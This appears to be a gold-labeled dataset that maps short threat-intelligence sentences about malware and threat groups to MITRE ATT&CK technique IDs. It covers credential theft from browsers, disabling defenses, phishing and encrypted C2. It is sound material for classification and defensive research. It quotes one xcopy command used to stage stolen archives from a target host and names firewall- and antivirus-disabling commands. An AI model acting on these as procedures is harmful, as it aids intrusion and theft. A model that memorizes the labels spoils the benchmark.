Grandoreiro can steal cookie data and credentials from Google Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
"H1N1 dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
HEXANE has used a Mimikatz-based tool and a PowerShell script to steal passwords from Google Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
Imminent Monitor has a PasswordRecoveryPacket module for recovering browser passwords.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DPAPI.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
OilRig has used credential dumping tools such as LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access. OilRig has also used tool named PICKPOCKET to dump passwords from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
PoetRAT has used a Python tool named Browdec.exe to steal browser credentials.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
"SUGARDUMP variants have harvested credentials from browsers such as Firefox, Chrome, Opera, and Edge.",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
Stolen Pencil has used tools that are capable of obtaining credentials from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
TA505 has used malware to gather credentials from Internet Explorer.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
ZIRCONIUM has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],golden
LaZagne can obtain credentials from Vault files.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],golden
Lizar has a plugin that can retrieve credentials from Internet Explorer and Microsoft Edge using `vaultcmd.exe` and another that can collect RDP access credentials using the `CredEnumerateW` function.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],golden
Fox Kitten has used scripts to access credential information from the KeePass database.,['T1555.005 - Password Managers'],golden
"Ebury can intercept private keys using a trojanized ""ssh-add"" function.",['T1556 - Modify Authentication Process'],golden
The AADInternals `Set-AADIntUserMFA` command can be used to disable MFA for a specified user.,['T1556.006 - Multi-Factor Authentication'],golden
AADInternals can inject a malicious DLL (`PTASpy`) into the `AzureADConnectAuthenticationAgentService` to backdoor Azure AD Pass-Through Authentication.,['T1556.007 - Hybrid Identity'],golden
Kimsuky has used modified versions of PHProxy to examine web traffic between the victim and the accessed website.,['T1557 - Adversary-in-the-Middle'],golden
Empire can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],golden
Responder is used to poison name services to gather hashes and credentials from systems within a local network.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],golden
Impacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],golden
"Wizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],golden
HermeticWizard can execute files on remote machines using DCOM.,['T1559.001 - Component Object Model'],golden
Milan can use a COM component to generate scheduled tasks.,['T1559.001 - Component Object Model'],golden
POWERSTATS can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.,['T1559.001 - Component Object Model'],golden
Ursnif droppers have used COM objects to execute the malware's full executable payload.,['T1559.001 - Component Object Model'],golden
"During Operation Sharpshooter, threat actors sent malicious Word OLE documents to victims.",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
GravityRAT has been delivered via Word documents using DDE for execution.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
Leviathan has utilized OLE as a method to insert malicious content inside various phishing documents.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
MuddyWater has used malware that can execute PowerShell scripts via DDE.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
Sharpshooter has sent malicious Word OLE documents to victims.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
Sidewinder has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],golden
Agent Tesla can encrypt data with 3DES before sending it over to a C2 server.,['T1560 - Archive Collected Data'],golden
Axiom has compressed and encrypted data prior to exfiltration.,['T1560 - Archive Collected Data'],golden
Dtrack packs collected data into a password protected archive.,['T1560 - Archive Collected Data'],golden
Exaramel for Windows automatically encrypts files before sending them to the C2 server.,['T1560 - Archive Collected Data'],golden
Leviathan has archived victim's data prior to exfiltration.,['T1560 - Archive Collected Data'],golden
Machete stores zipped files with profile data from installed web browsers.,['T1560 - Archive Collected Data'],golden
Remexi encrypts and adds all gathered browser data into files for upload to C2.,['T1560 - Archive Collected Data'],golden
RunningRAT contains code to compress files.,['T1560 - Archive Collected Data'],golden
The Ke3chang group has been known to compress data before exfiltration.,['T1560 - Archive Collected Data'],golden
"APT28 has used a variety of utilities, including WinRAR, to archive collected data with password protection.",['T1560.001 - Archive Collected Data: Archive via Utility'],golden
APT29 used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
Earth Lusca has used WinRAR to compress stolen files into an archive prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
FIN8 has used RAR to compress collected data before exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
"Gallmaker has used WinZip, likely to archive data prior to exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],golden
"Operation Wocao has archived collected files with WinRAR, prior to exfiltration.",['T1560.001 - Archive Collected Data: Archive via Utility'],golden
Sowbug extracted documents and bundled them into a RAR archive.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
ccf32 has used `xcopy \\<target_host>\c$\users\public\path.7z c:\users\public\bin\<target_host>.7z /H /Y` to archive collected files.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
menuPass has compressed files before exfiltration using TAR and RAR.,['T1560.001 - Archive Collected Data: Archive via Utility'],golden
Cardinal RAT applies compression to C2 traffic using the ZLIB library.,['T1560.002 - Archive Collected Data: Archive via Library'],golden
Denis compressed collected data using zlib.,['T1560.002 - Archive Collected Data: Archive via Library'],golden
FoggyWeb can invoke the `Common.Compress` method to compress data with the C# GZipStream compression class.,['T1560.002 - Archive Collected Data: Archive via Library'],golden
"Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.",['T1560.002 - Archive Collected Data: Archive via Library'],golden
SeaDuke compressed data with zlib prior to sending it over C2.,['T1560.002 - Archive Collected Data: Archive via Library'],golden
The ZLib backdoor compresses communications using the standard Zlib compression library.,['T1560.002 - Archive Collected Data: Archive via Library'],golden
A Lazarus Group malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.,['T1560.003 - Archive via Custom Method'],golden
Data SPACESHIP copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.,['T1560.003 - Archive via Custom Method'],golden
"FoggyWeb can use a dynamic XOR key and a custom XOR methodology to encode data before exfiltration. Also, FoggyWeb can encode C2 command output within a legitimate WebP file.",['T1560.003 - Archive via Custom Method'],golden
Mustang Panda has encrypted documents with RC4 prior to exfiltration.,['T1560.003 - Archive via Custom Method'],golden
NETWIRE has used a custom encryption algorithm to encrypt collected data.,['T1560.003 - Archive via Custom Method'],golden
SUGARDUMP has encrypted collected data using AES CBC mode and encoded it using Base64.,['T1560.003 - Archive via Custom Method'],golden
Avaddon looks for and attempts to stop anti-malware solutions.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
Bazar has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"Bundlore can change browser security settings to enable extensions to be installed. Bundlore uses the ""pkill cfprefsd"" command to prevent users from inspecting processes.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
EKANS stops processes related to security and management software.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
Ember Bear has executed a batch script designed to disable Windows Defender on a compromised host.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"Gorgon Group malware can attempt to disable security features in Microsoft Office and Windows Defender using the ""taskkill"" command.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"LockerGoga installation has been immediately preceded by a ""task kill"" command in order to disable anti-virus.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
Magic Hound has disabled antivirus services on targeted systems in order to upload malicious payloads.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"Maze has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg. It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
MegaCortex was used to kill endpoint security processes.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"OSX/Shlayer can disable Gatekeeper using the native ""spctl"" application.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"ThiefQuest uses the function ""kill_unwanted"" to obtain a list of running processes and kills each process matching a list of security related processes.",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
Threat Group-3390 has used appcmd.exe to disable logging on a victim server.,['T1562.002 - Impair Defenses: Disable Windows Event Logging'],golden
APT38 has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.,['T1562.003 - Impair Defenses: Impair Command History Logging'],golden
BADCALL disables the Windows firewall before binding to a port.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
DarkComet can disable Security Center functions like the Windows Firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
H1N1 kills and disables services for Windows Firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
Kimsuky has been observed disabling the system firewall.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
TYPEFRAME can open the Windows Firewall on the victim’s machine to allow incoming connections.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
"UNC2452 used ""netsh"" to configure firewall rules that limited certain UDP outbound packets.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
netsh can be used to disable local firewall settings.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],golden
Ebury can hook logging functions so that nothing from the backdoor gets sent to the logging facility.,['T1562.006 - Impair Defenses: Indicator Blocking'],golden
WarzoneRAT can masquerade the Process Environment Block on a compromised host to hide it's attempts to elevate privileges through `IFileOperation`.,['T1564 - Hide Artifacts'],golden
APT28 has saved files with hidden file attributes.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Agent Tesla has created hidden folders.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Dacls has had its payload named with a dot prefix to make it hidden from view in the Finder application.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Ixeshe sets its own executable file's attributes to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Lokibot has the ability to copy itself to a hidden file and directory.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Micropsia creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
SysUpdate has the ability to set file attributes to hidden.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Transparent Tribe can hide legitimate directories and replace them with malicious copies of the same name.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
Dragonfly has modified the Registry to hide created user accounts.,['T1564.002 - Hide Artifacts: Hidden Users'],golden
SMOKEDHAM has modified the Registry to hide created user accounts from the Windows logon screen.,['T1564.002 - Hide Artifacts: Hidden Users'],golden
APT28 has used the WindowStyle parameter to conceal PowerShell windows.,['T1564.003 - Hide Artifacts: Hidden Window'],golden
Higaisa used a payload that creates a hidden window.,['T1564.003 - Hide Artifacts: Hidden Window'],golden
InvisiMole has executed legitimate tools in hidden windows.,['T1564.003 - Hide Artifacts: Hidden Window'],golden
MCMD can modify processes to prevent them from being visible on the desktop.,['T1564.003 - Hide Artifacts: Hidden Window'],golden
Meteor can hide its console window upon execution to decrease its visibility to a victim.,['T1564.003 - Hide Artifacts: Hidden Window'],golden
Anchor has used NTFS to hide files.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
Astaroth can abuse alternate data streams (ADS) to store content for malicious payloads.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
"If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in ""%PROGRAMDATA%\Windows\"".",['T1564.004 - Hide Artifacts: NTFS File Attributes'],golden
GOLD SOUTHFIELD has conducted malicious spam (malspam) campaigns to gain access to victim's machines.,['T1566 - Phishing'],golden
APT12 has sent emails with malicious Microsoft Office documents and PDFs attached.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
APT19 sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
APT29 has used spearphishing emails with an attachment to deliver files with exploits to initial victims.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
BADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
BITTER has sent spearphishing emails with a malicious RTF document or Excel spreadsheet.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Dragonfly has sent emails with malicious attachments to gain initial access.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
"During C0011, Transparent Tribe sent malicious attachments via email to student targets in India.",['T1566.001 - Phishing: Spearphishing Attachment'],golden
"During Operation Spalax, the threat actors sent phishing emails that included a PDF document that in some cases led to the download and execution of malware.",['T1566.001 - Phishing: Spearphishing Attachment'],golden
EXOTIC LILY conducted an e-mail thread-hijacking campaign with malicious ISO attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
FIN6 has targeted victims with e-mails containing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Higaisa has sent spearphishing emails containing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Inception has used weaponized documents attached to spearphishing emails for reconnaissance and initial compromise.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
KONNI has been delivered via spearphishing campaigns through a malicious Word document.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Lazarus Group has targeted victims with spearphishing emails containing malicious Microsoft Word documents.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
"Leviathan has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.",['T1566.001 - Phishing: Spearphishing Attachment'],golden
Machete has delivered spearphishing emails that contain a zipped file with malicious contents.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Magic Hound has used personalized spearphishing attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Molerats has sent phishing emails with malicious Microsoft Word and PDF attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
NETWIRE has been spread via e-mail campaigns utilizing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Nomadic Octopus has targeted victims with spearphishing emails containing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Octopus has been delivered via spearsphishing emails.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
QakBot has spread through emails with malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
The primary delivered mechaism for Agent Tesla is through email phishing messages.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
Tonto Team has delivered payloads via spearphishing attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
WarzoneRAT has been distributed as a malicious attachment within an email.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
menuPass has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.,['T1566.001 - Phishing: Spearphishing Attachment'],golden
APT32 has sent spearphishing emails containing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],golden
APT33 has sent spearphishing emails containing links to .hta files.,['T1566.002 - Phishing: Spearphishing Link'],golden
Cobalt Group has sent emails with URLs pointing to malicious documents.,['T1566.002 - Phishing: Spearphishing Link'],golden
Grandoreiro has been spread via malicious links embedded in e-mails.,['T1566.002 - Phishing: Spearphishing Link'],golden
GuLoader has been spread in phishing campaigns using malicious web links.,['T1566.002 - Phishing: Spearphishing Link'],golden
Kerrdown has been distributed via e-mails containing a malicious link.,['T1566.002 - Phishing: Spearphishing Link'],golden
Machete has sent phishing emails that contain a link to an external server with ZIP and RAR archives.,['T1566.002 - Phishing: Spearphishing Link'],golden
Molerats has sent phishing emails with malicious links included.,['T1566.002 - Phishing: Spearphishing Link'],golden
MuddyWater has sent targeted spearphishing e-mails with malicious links.,['T1566.002 - Phishing: Spearphishing Link'],golden
OilRig has sent spearphising emails with malicious links to potential victims.,['T1566.002 - Phishing: Spearphishing Link'],golden
Sandworm Team has crafted phishing emails containing malicious hyperlinks.,['T1566.002 - Phishing: Spearphishing Link'],golden
SpicyOmelette has been distributed via emails containing a malicious link that appears to be a PDF document.,['T1566.002 - Phishing: Spearphishing Link'],golden
Transparent Tribe has embedded links to malicious downloads in e-mails.,['T1566.002 - Phishing: Spearphishing Link'],golden
Wizard Spider has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.,['T1566.002 - Phishing: Spearphishing Link'],golden
EXOTIC LILY has used the e-mail notification features of legitimate file sharing services for spearphishing.,['T1566.003 - Spearphishing via Service'],golden
Windshift has used fake personas on social media to engage and target victims.,['T1566.003 - Spearphishing via Service'],golden
Ngrok has been used by threat actors to configure servers for data exfiltration.,['T1567 - Exfiltration Over Web Service'],golden
Empire can use GitHub for data exfiltration.,['T1567.001 - Exfiltration to Code Repository'],golden
BITTER has used DDNS for C2 communications.,['T1568 - Dynamic Resolution'],golden
"Maze has forged POST strings with a random choice from a list of possibilities including ""forum"", ""php"", ""view"", etc. while making connection with the C2, hindering detection efforts.",['T1568 - Dynamic Resolution'],golden
"RTM has resolved Pony C2 server IP addresses by either converting Bitcoin blockchain transaction data to specific octets, or accessing IP addresses directly within the Namecoin blockchain.",['T1568 - Dynamic Resolution'],golden
SUNBURST dynamically resolved C2 infrastructure for randomly-generated subdomains within a parent domain.,['T1568 - Dynamic Resolution'],golden
Amadey has used fast flux DNS for its C2.,['T1568.001 - Fast Flux DNS'],golden
Astaroth has used a DGA in C2 communications.,['T1568.002 - Domain Generation Algorithms'],golden
BONDUPDATER uses a DGA to communicate with command and control servers.,['T1568.002 - Domain Generation Algorithms'],golden
Doki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.,['T1568.002 - Domain Generation Algorithms'],golden
"Grandoreiro can use a DGA for hiding C2 addresses, including use of an algorithm with a user-specific key that changes daily.",['T1568.002 - Domain Generation Algorithms'],golden
Milan can use hardcoded domains as an input for domain generation algorithms.,['T1568.002 - Domain Generation Algorithms'],golden
Ursnif has used a DGA to generate domain names for C2.,['T1568.002 - Domain Generation Algorithms'],golden
APT12 has used multiple variants of DNS Calculation including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.,['T1568.003 - DNS Calculation'],golden
"LoudMiner launched the QEMU services in the ""/Library/LaunchDaemons/"" folder using ""launchctl"". It also uses ""launchctl"" to unload all Launch Daemons when updating to a newer version of LoudMiner.",['T1569.001 - System Services: Launchctl'],golden
APT32's backdoor has used Windows services as a way to execute its malicious payload.,['T1569.002 - System Services: Service Execution'],golden
Attor's dispatcher can be executed as a service.,['T1569.002 - System Services: Service Execution'],golden
"Bad Rabbit drops a file named ""infpub.dat""into the Windows directory and is executed through SCManager and ""rundll.exe"".",['T1569.002 - System Services: Service Execution'],golden
Clambling can create and start services on a compromised host.,['T1569.002 - System Services: Service Execution'],golden
Net Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.,['T1569.002 - System Services: Service Execution'],golden
StrongPity can install a service to execute itself as a service.,['T1569.002 - System Services: Service Execution'],golden
WhisperGate can download and execute AdvancedRun.exe via `sc.exe`.,['T1569.002 - System Services: Service Execution'],golden
ZxShell can create a new service for execution.,['T1569.002 - System Services: Service Execution'],golden
"During Operation Wocao, threat actors used SMB to copy files to and from target systems.",['T1570 - Lateral Tool Transfer'],golden
Lucifer can use certutil for propagation on Windows hosts within intranets.,['T1570 - Lateral Tool Transfer'],golden
njRAT has used port 1177 for HTTP C2 communications.,['T1571 - Non-Standard Port'],golden
"Cobalt Strike uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.",['T1572 - Protocol Tunneling'],golden
Fox Kitten has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as Ngrok and custom tool SSHMinion.,['T1572 - Protocol Tunneling'],golden
Chaes has used encryption for its C2 channel.,['T1573 - Encrypted Channel'],golden
Cardinal RAT uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],golden
Daserf uses RC4 encryption to obfuscate HTTP traffic.,['T1573.001 - Symmetric Cryptography'],golden
Derusbi obfuscates C2 traffic with variable 4-byte XOR keys.,['T1573.001 - Symmetric Cryptography'],golden
Explosive has encrypted communications with the RC4 method.,['T1573.001 - Symmetric Cryptography'],golden
Mongall has the ability to RC4 encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],golden
MoonWind encrypts C2 traffic using RC4 with a static key.,['T1573.001 - Symmetric Cryptography'],golden
Nebulae can use RC4 and XOR to encrypt C2 communications.,['T1573.001 - Symmetric Cryptography'],golden
Okrum uses AES to encrypt network traffic. The key can be hardcoded or negotiated with the C2 server in the registration phase.,['T1573.001 - Symmetric Cryptography'],golden
RTM encrypts C2 traffic with a custom RC4 variant.,['T1573.001 - Symmetric Cryptography'],golden
"RedLeaves has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.",['T1573.001 - Symmetric Cryptography'],golden
Sakula encodes C2 traffic with single-byte XOR keys.,['T1573.001 - Symmetric Cryptography'],golden
Torisma has encrypted its C2 communications using XOR and VEST-32.,['T1573.001 - Symmetric Cryptography'],golden
ZIRCONIUM has used AES encrypted communications in C2.,['T1573.001 - Symmetric Cryptography'],golden
Carbon has used RSA encryption for C2 communications.,['T1573.002 - Asymmetric Cryptography'],golden
ComRAT can use SSL/TLS encryption for its HTTP-based C2 channel. ComRAT has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.,['T1573.002 - Asymmetric Cryptography'],golden
"Cyclops Blink can encrypt C2 messages with AES-256-CBC sent underneath TLS. OpenSSL library functions are also used to encrypt each message using a randomly generated key and IV, which are then encrypted using a hard-coded RSA public key.",['T1573.002 - Asymmetric Cryptography'],golden
Grandoreiro can use SSL in C2 communication.,['T1573.002 - Asymmetric Cryptography'],golden
Mythic supports SSL encrypted C2.,['T1573.002 - Asymmetric Cryptography'],golden
"Operation Wocao's proxy implementation ""Agent"" can upgrade the socket in use to a TLS socket.",['T1573.002 - Asymmetric Cryptography'],golden
"Tor encapsulates traffic in multiple layers of encryption, using TLS by default.",['T1573.002 - Asymmetric Cryptography'],golden
"Denis replaces the nonexistent Windows DLL ""msfte.dll"" with its own malicious version, which is loaded by the SearchIndexer.exe and SearchProtocolHost.exe.",['T1574 - Hijack Execution Flow'],golden
One of Dtrack can replace the normal flow of a program execution with malicious code.,['T1574 - Hijack Execution Flow'],golden
BackdoorDiplomacy has executed DLL search order hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
"Evilnum has used the malware variant, TerraTV, to load a malicious DLL placed in the TeamViewer directory, instead of the original Windows DLL located in a system folder.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
"HTTPBrowser abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
Tonto Team abuses a legitimate and signed Microsoft executable to launch a malicious DLL.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
Chimera has used side loading to place malicious DLLs in memory.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"Chinoxy can use a digitally signed binary (""Logitech Bluetooth Wizard Host Process"") to load its dll into memory.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"DLL side-loading has been used to execute BBSRAT through a legitimate Citrix executable, ssonsvr.exe. The Citrix executable was dropped along with BBSRAT by the dropper.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
GALLIUM used DLL side-loading to covertly load PoisonIvy into memory on the victim machine.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"Lazarus Group has replaced `win_fw.dll`, an internal component that is executed during IDA Pro installation, with a malicious DLL to download and execute a payload.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
Empire has a dylib hijacker module that generates a malicious dylib given the path to a legitimate dylib of a vulnerable application.,['T1574.004 - Dylib Hijacking'],golden
HiddenWasp adds itself as a shared object to the LD_PRELOAD environment variable.,['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],golden
Hildegard has modified /etc/ld.so.preload to intercept shared library import functions.,['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],golden
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit path interception opportunities in the PATH environment variable.,['T1574.007 - Path Interception by PATH Environment Variable'],golden
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit search order hijacking vulnerabilities.,['T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking'],golden
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit unquoted path vulnerabilities.,['T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path'],golden
Blue Mockingbird has used wmic.exe and Windows Registry modifications to set the COR_PROFILER environment variable to execute a malicious DLL whenever a process loads the .NET CLR.,['T1574.012 - Hijack Execution Flow: COR_PROFILER'],golden
"FinFisher has used the ""KernelCallbackTable"" to hijack the execution flow of a process by replacing the ""__fnDWORD"" function with the address of a created Asynchronous Procedure Call stub routine.",['T1574.013 - KernelCallbackTable'],golden
"During Operation Honeybee, threat actors registered domains for C2.",['T1583.001 - Domains'],golden
"EXOTIC LILY has registered domains to spoof targeted organizations by changing the top-level domain (TLD) to “.us”, “.co” or “.biz”.",['T1583.001 - Domains'],golden
"For C0011, Transparent Tribe registered domains likely designed to appear relevant to student targets in India.",['T1583.001 - Domains'],golden
"For FunnyDream, the threat actors registered a variety of domains.",['T1583.001 - Domains'],golden
LazyScripter has used dynamic DNS providers to create legitimate-looking subdomains for C2.,['T1583.001 - Domains'],golden
Winnti Group has registered domains for C2 that mimicked sites of their intended targets.,['T1583.001 - Domains'],golden
"During Night Dragon, threat actors purchased hosted services to use for C2.",['T1583.004 - Server'],golden
"For Operation Wocao, the threat actors purchased servers with Bitcoin to use during the operation.",['T1583.004 - Server'],golden
Gelsemium has established infrastructure through renting servers at multiple providers worldwide.,['T1583.004 - Server'],golden
Confucius has obtained cloud storage service accounts to host stolen data.,['T1583.006 - Web Services'],golden
Kimsuky has hosted content used for targeting efforts via web services such as Blogspot.,['T1583.006 - Web Services'],golden
"During C0010, UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.",['T1584.001 - Domains'],golden
"For Operation Sharpshooter, the threat actors compromised a server they used as part of the campaign's infrastructure.",['T1584.004 - Server'],golden
Earth Lusca has compromised Google Drive repositories.,['T1584.006 - Web Services'],golden
EXOTIC LILY has established social media profiles to mimic employees of targeted companies.,['T1585.001 - Social Media Accounts'],golden
Leviathan has created new social media accounts for targeting efforts.,['T1585.001 - Social Media Accounts'],golden
Magic Hound has created fake LinkedIn and other social media accounts to contact targets and convince them--through messages and voice communications--to open malicious links.,['T1585.001 - Social Media Accounts'],golden
"For Operation Dust Storm, the threat actors established email addresses to register domains for their operations.",['T1585.002 - Email Accounts'],golden
"For Operation Wocao, the threat actors registered email accounts to use during the campaign.",['T1585.002 - Email Accounts'],golden
Lazarus Group has created new email accounts for spearphishing operations.,['T1585.002 - Email Accounts'],golden
Silent Librarian has established e-mail accounts to receive e-mails forwarded from compromised accounts.,['T1585.002 - Email Accounts'],golden
"For C0010, UNC3890 actors used unique malware, including SUGARUSH and SUGARDUMP.",['T1587.001 - Malware'],golden
Kimsuky has developed its own unique malware such as MailFetch.py for use in operations.,['T1587.001 - Malware'],golden
Lazarus Group has developed custom malware for use in their operations.,['T1587.001 - Malware'],golden
Aquatic Panda has acquired and used njRAT in its operations.,['T1588.001 - Malware'],golden
"BackdoorDiplomacy has obtained and used leaked malware, including DoublePulsar, EternalBlue, EternalRocks, and EternalSynergy, in its operations.",['T1588.001 - Malware'],golden
